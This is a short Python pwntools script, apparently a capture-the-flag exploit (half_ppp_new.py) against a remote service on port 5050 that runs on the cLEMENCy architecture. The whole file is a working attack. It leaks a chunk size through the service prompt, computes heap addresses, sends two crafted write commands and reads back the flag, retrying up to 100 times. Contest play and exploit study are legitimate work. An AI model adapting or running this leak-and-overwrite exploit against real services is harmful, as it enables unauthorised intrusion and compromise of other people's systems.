half_ppp_new.py

#!/usr/bin/env python
# coding:utf-8

import sys
import time

from pwn import *
from clemency import *

def exploit(host):
    i = 0
    context.log_level = 'error'
    port = 5050
    while i < 100:
        try:
            p = remote(host, port)
            p = cyio(p, True)
            p.recvuntil('> ')
            leak = hex(0xc400) + ' abs ps'
            #log.info(leak)
            p.sendline(leak)
            chunksize = int(p.recvuntil('\n').strip())
            p.recvuntil('> ')
            chunk_base = chunksize + 0xc400 - 1
            p1 = hex(0x8713)
            p1 += ' '
            p1 += hex(chunk_base + 0x12)
            p1 += ' qq'
            p2 = hex(0x4010000)
            p2 += ' '
            p2 += hex(chunk_base + 2233 + 1600)
            p2 += ' qq +'
            log.info(p1)
            log.info(p2)
            p.sendline('.')
            p.recvuntil('> ')
            p.sendline(p1)
            p.recvuntil('> ')
            p.sendline(p2)
            flag = p.recvuntil('\n').strip().replace('[-] invalid: ','')
            return flag
        except:
            i += 1
            continue


if __name__ == '__main__':
    #host = '10.5.12.2'
    host = sys.argv[1]
    print exploit(host)